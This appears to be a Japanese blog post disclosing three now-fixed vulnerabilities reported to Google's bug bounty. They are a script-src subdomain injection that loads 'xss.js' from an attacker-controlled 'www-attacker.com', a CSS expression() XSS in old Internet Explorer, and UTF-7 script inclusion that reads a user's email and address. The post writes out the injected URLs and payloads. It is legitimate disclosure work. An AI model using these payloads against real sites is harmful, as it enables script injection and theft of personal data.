Google's Vulnerability Reward Program

Googleは2010年11月からGoogleのウェブアプリケーションのセキュリティ脆弱性を報告した人に報酬を支払う制度をスタートしました。僕も早速いくつか報告し、以前TwitterGoogleから$7337頂いたよとつぶやきましたが、あれから新たに$6337の入金があり、今のところこの制度で$13174($1337 × 2 + $1000 × 2 + $500 × 17)を頂いています!ありがとう!


追記 7337+6337=13674なので入金があったのは$13674($1337 × 2 + $1000 × 2 + $500 × 18)でした。合計を間違えてました。足し算難しい!><+$500!



修正されたものは情報を公開してもいいとのことなので、報告した中から多少変わったタイプの脆弱性を3つ紹介しようと思います。

<script>タグのsrcを細工することによるXSS

こんなページがありました。

URL:http://ex.google.com/?q=xxx


<html>
・・
<script src="[]http://www-[]xxx.[]google[].com/a.js"></script>
・・
</html>
URLのパラメータが<script>タグのsrcで読み込むURLのサブドメインの一部になるかんじです。
「"<>」などは処理されていましたが、その他の文字は自由に入れることが出来たので、
www-で始まる自分の管理下のドメインを用意し、以下のように入力することで外部ドメインのjsを読み込ませることができました。
(例はwww-attacker.comが自分の管理下)

URL:http://ex.google.com/?q=attacker.com/xss.js%23


<html>
・・
<script src="[]http://www-[]attacker.com/[]xss[].js#.[]google[].com/a.js"></script>
・・
</html>

方法は単純ですがあまり見ないパターンだったので、貫通した時は「おっ」と思いました。

スタイルシートのパスを細工することよるXSS

URL:http://www.google.com/path1/path2xxx/path3


<html>
・・
<link href="[]http://www.[][]google[][].com/path1/[]path2xxx/[]css[]/default.[]css[]" rel="stylesheet">
・・
</html>

path2の部分が「path2」という名前でなくてもNot Foundにならないで、そこの文字が<link>タグ内に入るかんじのページです。
こんな場合、「"<>」が適切に処理されていたとしても、IEならスクリプトを注入できることがあります。


URL:http://www.google.com/path1/..%5Csearch%3Fq=}*{x:expression(alert(1))}%23/path3


<html>
・・
<link href="[]http://www.[][]google[][].com/path1/[]..\search?q=}*{x:expression(alert(1))}#/[]css[]/default.[]css[]" rel="stylesheet">
・・
</html>

スラッシュを入れると元URLの階層が変わってしまうので、%5Cで代用してディレクトリを遡り、
Google検索で「}*{x:expression(alert(1))}」を検索したページを読み込んでいます。

IEでは、これでスクリプトが動作します。何が起きているのかというと、、


IEは以下のようなコードで、<link>タグのhrefに指定されているHTMLのページをスタイルシートとして使用でき、背景を赤くするスタイルを適用させることができます。*1


<link href="[]http://www.[][]google[][].com/search?q=[]}*{background:red}" rel="stylesheet">

「}*{background:red}」みたいなのがhrefで読んでるページのHTML内に入ってると、それをスタイルシートとして拾ってくれるかんじです。この仕様により、同様にしてHTML内に「}*{x:expression(alert(1))}」が入る場所をhrefに指定すれば、expressionを拾ってくれてJavaScriptを呼び出せてしまう訳です。(追記 text/htmlのページをCSSとして読むことができるのは、きちんとパッチの当てられたIEでは、同一ドメインしかできません。)


スタイルシートの<link>タグのhrefのパスになにか入れることができると、hrefで読み込んでいるドメイン上に「}*{background:red}」とか挿入できるページが一箇所でもあった場合、ディレクトリを操作してそのページまで持っていけば、任意のスタイルシートを読み込ませることができる、すなわちexpressionからJavaScriptを使用できXSSが起こるので、(普通はやらないと思うけど)スタイルシートのパスにユーザーの入力値を入れられるような作りは危ないと思います。

UTF-7による<script>タグを使った情報窃取

こんなページがありました。

URL:http://ex.google.com/?q=xxx


//["xxx","example@[]gmail[].com","Tokyo"]
xxxのところにURLのパラメータの値がきています。
他の入力値を試したところ、「"<>」などはエスケープされていて、改行(%0a)を入れるとはじかれました。HTTPレスポンスヘッダのContent-Typeは「text/html;charset=utf-8」と指定されていました。

一見問題なさそうですが、IE6/7ではページのcharsetがContent-Typeで指定されていても、そのページをsrcから読もうとする<script>タグに設定されたcharsetの値が優先されるというワンパクな仕様がある*2ので、これを利用して外部にUTF-7のcharsetを設定した<script>タグから、メールアドレスと住所の部分を読みだすことができます。

このようなかんじのコードを外部に設置します。


<script src="[]http://ex.[][]google[][].com/?q=[]%2BAAo-var%20x%2BAD0AWwAi-" charset="utf-7"></script>
<button onclick="alert(x)">Click</button>

srcに指定されている部分のページは普通にアクセスすればこんなかんじに出力されるはずです。


//["+[]AAo[]-var x+AD0AWwAi-",""example@[]gmail[].com","Tokyo"]

しかしながらIE6/7でUTF-7のcharsetが設定された<script>タグからはこう解釈されるでしょう。


//["
var x=["",""example@[]gmail[].com","Tokyo"]

改行はここでは弾かれるので、あえて+と-でくくった形式「+AAo-」にして入れ、コメントアウトから抜けています。これでJavaScriptのエラーも無く、変数xにメールアドレスと住所を含める事が出来ました。そんな訳で外部に設置したbuttonをクリックするとメールアドレスと住所がアラートします。

Googleはこの問題を、URLにトークンを付与しチェックすることで対策しました。


はい、以上です!
Googleに続いて、他のサービスでも報酬制度を設けるところがでてくるといいなあと思います!

*1:正確にはIE6/7と、DOCTYPE指定によりIE5モードでレンダリングされているIE8で有効になります。

*2:はせがわようすけさんの発表(1時間55分辺り)で知りました!